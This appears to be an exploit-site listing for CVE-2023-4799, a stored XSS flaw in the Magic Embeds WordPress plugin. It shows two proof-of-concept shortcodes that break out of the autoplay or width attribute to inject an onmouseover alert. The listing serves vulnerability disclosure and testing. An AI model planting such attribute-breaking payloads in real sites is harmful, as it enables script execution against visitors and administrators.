Exploit for Magic Embeds < 3.1.2 - Contributor+ Stored XSS via shortcode CVE-2023-4799

Name: Exploit for Magic Embeds < 3.1.2 - Contributor+ Stored XSS via shortcode CVE-2023-4799
Rating: 5 (59 reviews)

2023-10-27 | CVSS 4.9

## https://sploitus.com/exploit?id=WPEX-ID:04C71873-5AE7-4F94-8BA9-03E03FF55180
v < 3.1.1 - [fb_plugin video href="https://www.facebook.com/facebook/videos/10153231379946729/" autoplay='" onmouseover="alert(/XSS/)"' ]

v < 3.1.2 - [fb_plugin video adaptive="true" href="https://www.facebook.com/facebook/videos/10153231379946729/" width='"onmouseover=alert(/XSS/)//']